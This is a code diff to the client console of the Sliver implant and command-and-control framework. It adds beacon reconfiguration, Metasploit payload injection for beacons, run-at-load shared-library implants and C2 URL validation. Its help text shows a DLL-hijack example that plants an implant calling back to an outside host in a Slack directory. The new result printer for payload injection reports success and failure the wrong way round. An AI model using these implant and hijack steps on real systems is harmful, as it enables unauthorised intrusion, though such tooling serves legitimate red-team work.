-			eta := nextCheckin.Sub(time.Now())
+			eta := time.Until(nextCheckin)
 			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
 		}
-		if 182 < width {
+		if con.Settings.SmallTermWidth < width {
 			tw.AppendRow(table.Row{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -148,9 +148,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
+				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
+				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
 				next,
 			})
 		} else {
@@ -158,9 +158,9 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
+				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
+				fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
 				next,
 			})
 		}

client/command/beacons/prune.go

@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if time.Now().Before(nextCheckin) {
 			continue
 		}
-		delta := time.Now().Sub(nextCheckin)
+		delta := time.Since(nextCheckin)
 		if pruneDuration <= delta {
 			pruneBeacons = append(pruneBeacons, beacon)
 		}

client/command/commands.go

@@ -63,6 +63,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/privilege"
 	"github.com/bishopfox/sliver/client/command/processes"
 	"github.com/bishopfox/sliver/client/command/reaction"
+	"github.com/bishopfox/sliver/client/command/reconfig"
 	"github.com/bishopfox/sliver/client/command/registry"
 	"github.com/bishopfox/sliver/client/command/screenshot"
 	"github.com/bishopfox/sliver/client/command/sessions"
@@ -475,6 +476,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
 			f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
 			f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
+			f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
+			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encyption iv")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -503,6 +506,47 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.MultiplayerHelpGroup,
 	})
 
+	// [ Reconfig ] ---------------------------------------------------------------
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ReconfigStr,
+		Help:     "Reconfigure the active beacon/session",
+		LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
+		Flags: func(f *grumble.Flags) {
+			f.String("n", "name", "", "change implant name to")
+			f.String("r", "reconnect-interval", "", "reconnect interval for implant")
+			f.String("i", "beacon-interval", "", "beacon callback interval")
+			f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reconfig.ReconfigCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.RenameStr,
+		Help:     "Rename the active beacon/session",
+		LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
+		Flags: func(f *grumble.Flags) {
+			f.String("n", "name", "", "change implant name to")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reconfig.RenameCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	// [ Sessions ] --------------------------------------------------------------
 
 	sessionsCmd := &grumble.Command{
@@ -514,6 +558,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("k", "kill", "", "kill the designated session")
 			f.Bool("K", "kill-all", false, "kill all the sessions")
 			f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
+			f.Bool("f", "force", false, "force session action without waiting for results")
 
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -530,7 +575,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Kill all stale/dead sessions",
 		LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
 		Flags: func(f *grumble.Flags) {
-
+			f.Bool("f", "force", false, "Force the killing of stale/dead sessions")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
 		Run: func(ctx *grumble.Context) error {
@@ -543,26 +588,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	con.App.AddCommand(sessionsCmd)
 
-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.ReconfigStr,
-		Help:     "Reconfigure the active session",
-		LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
-		Flags: func(f *grumble.Flags) {
-			f.String("n", "name", "", "agent name to change to")
-			f.Int("r", "reconnect", -1, "reconnect interval for agent")
-			f.Int("p", "poll", -1, "poll interval for agent")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			sessions.SessionsReconfigCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	})
-
 	con.App.AddCommand(&grumble.Command{
 		Name:     consts.BackgroundStr,
 		Help:     "Background an active session",
@@ -807,6 +832,30 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
+	settingsCmd.AddCommand(&grumble.Command{
+		Name:     "always-overflow",
+		Help:     "Disable table pagination",
+		LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			settings.SettingsAlwaysOverflow(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	settingsCmd.AddCommand(&grumble.Command{
+		Name:     "small-terminal",
+		Help:     "Set the small terminal width",
+		LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			settings.SettingsSmallTerm(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
 	con.App.AddCommand(settingsCmd)
 
 	// [ Info ] --------------------------------------------------------------
@@ -1199,6 +1248,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1253,6 +1304,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1401,6 +1454,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1460,6 +1515,8 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
 
+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1574,6 +1631,24 @@ func BindCommands(con *console.SliverConsoleClient) {
 
 	// [ Filesystem ] ---------------------------------------------
 
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.MvStr,
+		Help:     "Move or rename a file",
+		LongHelp: help.GetHelpFor([]string{consts.MvStr}),
+		Flags: func(f *grumble.Flags) {
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("src", "path to source file")
+			a.String("dst", "path to dest file")
+		},
+		Run: func(ctx *grumble.Context) error {
+			err := filesystem.MvCmd(ctx, con)
+			return err
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	con.App.AddCommand(&grumble.Command{
 		Name:     consts.LsStr,
 		Help:     "List current directory",
@@ -2089,6 +2164,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("k", "kill", "", "kill a beacon")
 			f.Bool("K", "kill-all", false, "kill all beacons")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+			f.Bool("f", "force", false, "force killing of the beacon")
 		},
 		HelpGroup: consts.GenericHelpGroup,
 		Run: func(ctx *grumble.Context) error {

client/command/exec/execute-assembly.go

@@ -109,7 +109,7 @@ func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname strin
 	var err error
 	if ctx.Flags.Bool("save") {
 		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
-		outFilePath, err = ioutil.TempFile("", outFile)
+		outFilePath, _ = ioutil.TempFile("", outFile)
 	}
 	con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
 	if outFilePath != nil {

client/command/exec/execute-shellcode.go

@@ -31,7 +31,7 @@ import (
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"golang.org/x/crypto/ssh/terminal"
+	"golang.org/x/term"
 	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 	log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
 	con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
 
-	var oldState *terminal.State
+	var oldState *term.State
 	if !noPty {
-		oldState, err = terminal.MakeRaw(0)
+		oldState, err = term.MakeRaw(0)
 		log.Printf("Saving terminal state: %v", oldState)
 		if err != nil {
 			con.PrintErrorf("Failed to save terminal state\n")
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
 
 	if !noPty {
 		log.Printf("Restoring terminal state ...")
-		terminal.Restore(0, oldState)
+		term.Restore(0, oldState)
 	}
 
 	log.Printf("Exit interactive")

client/command/exec/msf-inject.go

@@ -33,8 +33,8 @@ import (
 
 // MsfInjectCmd - Inject a metasploit payload into a remote process
 func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
 		return
 	}
-
 	if pid == -1 {
 		con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
 		return
 	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
 
 	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
-		payloadName, session.OS, session.Arch, lhost, lport)
+	msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
+		payloadName, goos, goarch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
 	msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
 		Request:    con.ActiveTarget.Request(ctx),
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }
 
+// PrintMsfRemote - Print the results of the remote injection attempt
 func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
-
+	if msfRemote.Response == nil {
+		con.PrintErrorf("Empty response from msf payload injection task")
+		return
+	}
+	if msfRemote.Response.Err != "" {
+		con.PrintInfof("Executed payload on target")
+	} else {
+		con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
+	}
 }

client/command/exec/msf.go

@@ -25,14 +25,15 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"google.golang.org/protobuf/proto"
 
 	"github.com/desertbit/grumble"
 )
 
 // MsfCmd - Inject a metasploit payload into the current remote process
 func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
 
@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
 		return
 	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
 
 	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
-		payloadName, session.OS, session.Arch, lhost, lport)
+	msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
+		payloadName, goos, goarch, lhost, lport)
 	con.SpinUntil(msg, ctrl)
-	_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
+	msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
 		Request:    con.ActiveTarget.Request(ctx),
 		Payload:    payloadName,
 		LHost:      lhost,
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	<-ctrl
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	if msfTask.Response != nil && msfTask.Response.Async {
+		con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, msfTask)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintMsfRemote(msfTask, con)
+		})
+		con.PrintAsyncResponse(msfTask.Response)
 	} else {
-		con.PrintInfof("Executed payload on target\n")
+		PrintMsfRemote(msfTask, con)
 	}
 }

client/command/exec/psexec.go

@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("No profile found for name %s\n", profile)
 		return
 	}
-	sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
+	sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
 	filename := randomString(10)
 	filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
 	uploadGzip := new(encoders.Gzip).Encode(sliverBinary)

client/command/extensions/load.go

@@ -31,6 +31,7 @@ import (
 	"strings"
 
 	"github.com/bishopfox/sliver/client/assets"
+	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/client/core"
@@ -58,6 +59,7 @@ type ExtensionManifest struct {
 	OriginalAuthor  string               `json:"original_author"`
 	RepoURL         string               `json:"repo_url"`
 	Help            string               `json:"help"`
+	LongHelp        string               `json:"long_help"`
 	Files           []*extensionFile     `json:"files"`
 	Arguments       []*extensionArgument `json:"arguments"`
 	Entrypoint      string               `json:"entrypoint"`
@@ -171,8 +173,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 	loadedExtensions[extCmd.CommandName] = extCmd
 	helpMsg := extCmd.Help
 	extensionCmd := &grumble.Command{
-		Name: extCmd.CommandName,
-		Help: helpMsg,
+		Name:     extCmd.CommandName,
+		Help:     helpMsg,
+		LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
 		Run: func(extCtx *grumble.Context) error {
 			con.Println()
 			runExtensionCmd(extCtx, con)
@@ -192,12 +195,15 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
 						defaultValue grumble.ArgOption
 					)
 					switch arg.Type {
-					case "int", "short":
+					case "int", "integer", "short":
 						argFunc = a.Int
 						defaultValue = grumble.Default(0)
 					case "string", "wstring", "file":
 						argFunc = a.String
 						defaultValue = grumble.Default("")
+					default:
+						con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
+						return
 					}
 					if arg.Optional {
 						argFunc(arg.Name, arg.Desc, defaultValue)
@@ -420,6 +426,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
 	// Parse BOF arguments from grumble
 	for _, arg := range ext.Arguments {
 		switch arg.Type {
+		case "integer":
+			fallthrough
 		case "int":
 			val := ctx.Args.Int(arg.Name)
 			err = argsBuffer.AddInt(uint32(val))

client/command/filesystem/mv.go

@@ -0,0 +1,84 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+func MvCmd(ctx *grumble.Context, con *console.SliverConsoleClient) (err error) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	src := ctx.Args.String("src")
+	if src == "" {
+		con.PrintErrorf("Missing parameter: src\n")
+		return
+	}
+
+	dst := ctx.Args.String("dst")
+	if dst == "" {
+		con.PrintErrorf("Missing parameter: dst\n")
+		return
+	}
+
+	mv, err := con.Rpc.Mv(context.Background(), &sliverpb.MvReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Src:     src,
+		Dst:     dst,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	mv.Src, mv.Dst = src, dst
+
+	if mv.Response != nil && mv.Response.Async {
+		con.AddBeaconCallback(mv.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, mv)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+		})
+		con.PrintAsyncResponse(mv.Response)
+	} else {
+		PrintMv(mv, con)
+	}
+	return
+}
+
+// PrintMv - Print the renamed file
+func PrintMv(mv *sliverpb.Mv, con *console.SliverConsoleClient) {
+	if mv.Response != nil && mv.Response.Err != "" {
+		con.PrintErrorf("%s\n", mv.Response.Err)
+		return
+	}
+	con.PrintInfof("%s > %s\n", mv.Src, mv.Dst)
+}

client/command/filesystem/upload.go

@@ -64,6 +64,10 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	dst := remotePath
 
 	fileBuf, err := ioutil.ReadFile(src)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
 	uploadGzip := new(encoders.Gzip).Encode(fileBuf)
 
 	ctrl := make(chan bool)

client/command/generate/generate-stager.go

@@ -5,8 +5,6 @@ import (
 	"fmt"
 	"io/ioutil"
 	"net"
-	"os"
-	"path/filepath"
 	"regexp"
 	"strings"
 
@@ -95,15 +93,11 @@ func GenerateStagerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 
 	if save != "" || format == "raw" {
-		saveTo, _ := filepath.Abs(save)
-		fi, err := os.Stat(saveTo)
+		saveTo, err := saveLocation(save, stageFile.GetFile().GetName())
 		if err != nil {
-			con.PrintErrorf("Failed to generate sliver stager %v\n", err)
 			return
 		}
-		if fi.IsDir() {
-			saveTo = filepath.Join(saveTo, stageFile.GetFile().GetName())
-		}
+
 		err = ioutil.WriteFile(saveTo, stageFile.GetFile().GetData(), 0700)
 		if err != nil {
 			con.PrintErrorf("Failed to write to: %s\n", saveTo)

client/command/generate/generate.go

@@ -258,6 +258,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	isShellcode := false
 
 	format := ctx.Flags.String("format")
+	runAtLoad := false
 	var configFormat clientpb.OutputFormat
 	switch format {
 	case "exe":
@@ -265,6 +266,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 	case "shared":
 		configFormat = clientpb.OutputFormat_SHARED_LIB
 		isSharedLib = true
+		runAtLoad = ctx.Flags.Bool("run-at-load")
 	case "shellcode":
 		configFormat = clientpb.OutputFormat_SHELLCODE
 		isShellcode = true
@@ -331,6 +333,8 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
 		IsSharedLib: isSharedLib,
 		IsService:   isService,
 		IsShellcode: isShellcode,
+
+		RunAtLoad: runAtLoad,
 	}
 
 	return config
@@ -394,6 +398,9 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "mtls" {
+			return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
+		}
 		if uri.Port() == "" {
 			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
 		}
@@ -415,17 +422,20 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
 		arg = strings.ToLower(arg)
 		var uri *url.URL
 		var err error
-		if strings.HasPrefix(arg, "mtls://") {
+		if strings.HasPrefix(arg, "wg://") {
 			uri, err = url.Parse(arg)
 			if err != nil {
 				return nil, err
 			}
 		} else {
-			uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
+			uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
 			if err != nil {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "wg" {
+			return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
+		}
 		if uri.Port() == "" {
 			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
 		}
@@ -458,6 +468,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "http" && uri.Scheme != "https" {
+			return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
+		}
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
@@ -487,6 +500,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "dns" {
+			return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
+		}
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
@@ -503,6 +519,9 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
 	}
 	for index, arg := range strings.Split(args, ",") {
 		arg = strings.ToLower(arg)
+		arg = strings.ReplaceAll(arg, "\\", "/")
+		arg = strings.TrimPrefix(arg, "/")
+		arg = strings.TrimPrefix(arg, "/")
 		var uri *url.URL
 		var err error
 		if strings.HasPrefix(arg, "namedpipe://") {
@@ -516,6 +535,21 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "namedpipe" {
+			return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
+		}
+
+		if !strings.HasPrefix(uri.Path, "/pipe/") {
+			prompt := &survey.Confirm{
+				Message: fmt.Sprintf("Named pipe '%s' is missing the 'pipe' path prefix\nContinue anyways?", uri),
+			}
+			var confirm bool
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				return nil, fmt.Errorf("invalid namedpipe path: %s", uri.Path)
+			}
+		}
+
 		c2s = append(c2s, &clientpb.ImplantC2{
 			Priority: uint32(index),
 			URL:      uri.String(),
@@ -548,6 +582,9 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
 				return nil, err
 			}
 		}
+		if uri.Scheme != "tcppivot" {
+			return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
+		}
 		if uri.Port() == "" {
 			uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
 		}

client/command/help/help.go

@@ -100,6 +100,10 @@ func printHelp(con *console.SliverConsoleClient) {
 			con.Println()
 		}
 	}
+
+	con.Println()
+	con.Printf("For even more information, please see our wiki: https://github.com/BishopFox/sliver/wiki\n")
+	con.Println()
 }
 
 func headlinePrinter(c *grumble.Config, con *console.SliverConsoleClient) func(v ...interface{}) (int, error) {

client/command/help/long-help.go

@@ -71,7 +71,7 @@ var (
 		consts.MigrateStr:          migrateHelp,
 		consts.SideloadStr:         sideloadHelp,
 		consts.TerminateStr:        terminateHelp,
-		consts.AliasesStr:          loadMacrosHelp,
+		consts.AliasesStr:          loadAliasHelp,
 		consts.PsExecStr:           psExecHelp,
 		consts.BackdoorStr:         backdoorHelp,
 		consts.SpawnDllStr:         spawnDllHelp,
@@ -371,7 +371,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
 	screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
 [[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
 `
-	loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path> 
+	loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path> 
 [[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
 Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
 For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
@@ -657,8 +657,8 @@ supplied with the --profile flag.
 # Use a local DLL for a hijack
 dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
 
-# Use a Sliver generated DLL for the hijack
-profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
+# Use a Sliver generated DLL for the hijack (you must specify -R or --run-at-load)
+profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll --run-at-load
 dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
 
 # Use a local DLL as the reference DLL

client/command/info/info.go

@@ -19,10 +19,14 @@ package info
 */
 
 import (
+	"context"
 	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
